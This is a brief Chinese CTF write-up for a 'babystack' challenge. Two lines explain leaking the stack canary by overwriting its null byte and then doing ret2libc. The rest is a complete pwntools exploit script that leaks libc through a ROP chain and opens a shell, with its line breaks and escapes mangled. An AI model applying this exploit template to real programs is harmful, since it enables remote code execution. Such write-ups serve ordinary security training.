思路：
通过覆盖canary的截断字符"x00"，从而连带打印出canary
而后就是简单的ret2libc了
exp:
from pwn import *#p = remote("node4.buuoj.cn",29299)p = process("./babystack")elf = ELF("./babystack")context.log_level ="debug"#libc = ELF("libc-2.23.so")libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")p.timeout = 0.2def dbg():gdb.attach(p)pause()pop_rdi = 0x400a93ret = 0x40067eputs_plt = 0x400690puts_got = elf.got["puts"]main = 0x400908str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"p.recvuntil(">>")p.sendline("1")p.sendline(str)p.sendline("2")p.recvuntil("a"*0x88)canary = u64(p.recv(8))-0xalog.success(hex(canary))p.recvuntil(">>")p.sendline("1")p.send('a'*0x88 + p64(canary) + p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main))p.sendlineafter(">>",'3')p.recv()addr = u64(p.recv(6).ljust(8,'x00'))libc_base = addr - libc.symbols['puts']sys = libc_base + libc.symbols["system"]sh = libc_base + next(libc.search("/bin/sh"))log.success(hex(addr))p.sendline("1")p.sendline(str)p.sendline("2")p.recvuntil("a"*0x88)canary = u64(p.recv(8))-0xalog.success(hex(canary))p.recvuntil(">>")p.sendline("1")p.send('a'*0x88 + p64(canary) + p64(0) + p64(pop_rdi) + p64(sh) + p64(sys) + p64(main))p.sendlineafter(">>",'3')p.interactive()